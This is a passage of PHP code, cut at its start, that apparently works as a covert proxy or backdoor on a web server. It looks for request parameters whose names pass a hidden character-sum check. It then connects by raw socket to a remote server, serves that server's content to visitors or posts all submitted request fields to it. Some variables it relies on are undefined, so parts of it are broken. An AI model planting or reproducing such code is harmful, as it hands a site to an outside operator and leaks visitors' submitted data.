$value) { $l = strlen($key); $sum = 0; for ($i=0; $i<$l; $i++) $sum += ord(substr($key,$i,1)); if ($sum % 100 == 0) { # is a valid session ID tag $session_id = $value; if ($sum % 200 == 0) { # is a valid uplink tag $ext = 'cgi'; } break; } } if ($session_id == null) { $fh = fsockopen("tcp://$yf_server", $yf_port); if (!$fh) return; $cmd = "GET /cgi.html?server=".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']." HTTP/1.0\r\n\r\n"; if (!fwrite($fh,$cmd,strlen($cmd))) return; $cli = fopen("php://output","wb"); if ($cli) { fflush($cli); do { $data = fgets($fh); } while (strpos($data,"\n")>1); while (true) { $data = fread($fh,2048); if (!$data) break; if (!fwrite($cli,$data,strlen($data))) break; fflush($cli); } } exit; } crossconnect($session_id, $yf_server, $yf_port, $ext); exit; function getServer($session_id) { return array($rootaddr, $rootport); } function headers() { return "Accept: text/html\r\n". "X-Via: ".$_SERVER['SERVER_NAME']." ".$uri." ".$_SERVER['REMOTE_ADDR']." ".$_SERVER['REMOTE_PORT']."\r\n". "Connection: close\r\n"; } function crossconnect($session_id, $server, $port, $ext) { $fh = fsockopen("tcp://$server", $port); if (!$fh) return; $post = false; if (!strcmp($ext,"cgi")) { $uri = $_SERVER['REQUEST_URI']; $uri = substr($uri,0,strpos($uri,'?')); $cmd = "POST /$session_id.$ext HTTP/1.0\r\n". "Host: $server:$port\r\n". "Content-Length: 10000000\r\n". headers(); $post = true; } else { $cmd = "GET /$session_id.$ext HTTP/1.0\r\n". "Host: $server:$port\r\n". headers(). "\r\n"; } if (!fwrite($fh,$cmd,strlen($cmd))) return; if (!$post) { # read from server and print what we read $cli = fopen("php://output","wb"); if ($cli) { fflush($cli); do { $data = fgets($fh); } while (strpos($data,"\n")>1); while (true) { $data = fread($fh,2048); if (!$data) break; if (!fwrite($cli,$data,strlen($data))) break; fflush($cli); } } } else { $sep="--SEP\r\n"; fwrite($fh,"Content-Type: multipart/form-data; boundary=SEP\r\n\r\n"); fflush($fh); $skip=1; foreach ($_REQUEST as $k => $v) { if (--$skip>=0) continue; reset($_REQUEST[$k]); foreach ($_REQUEST[$k] as $kk => $vv) { $item=$sep."Content-Disposition: form-data; name=\"$k\"\r\n\r\n$vv\r\n"; if (FALSE === fwrite($fh,$item,strlen($item))) { break; } } } $item=$sep; fwrite($fh,$item,strlen($item)); fflush($fh); } fclose($fh); } ?>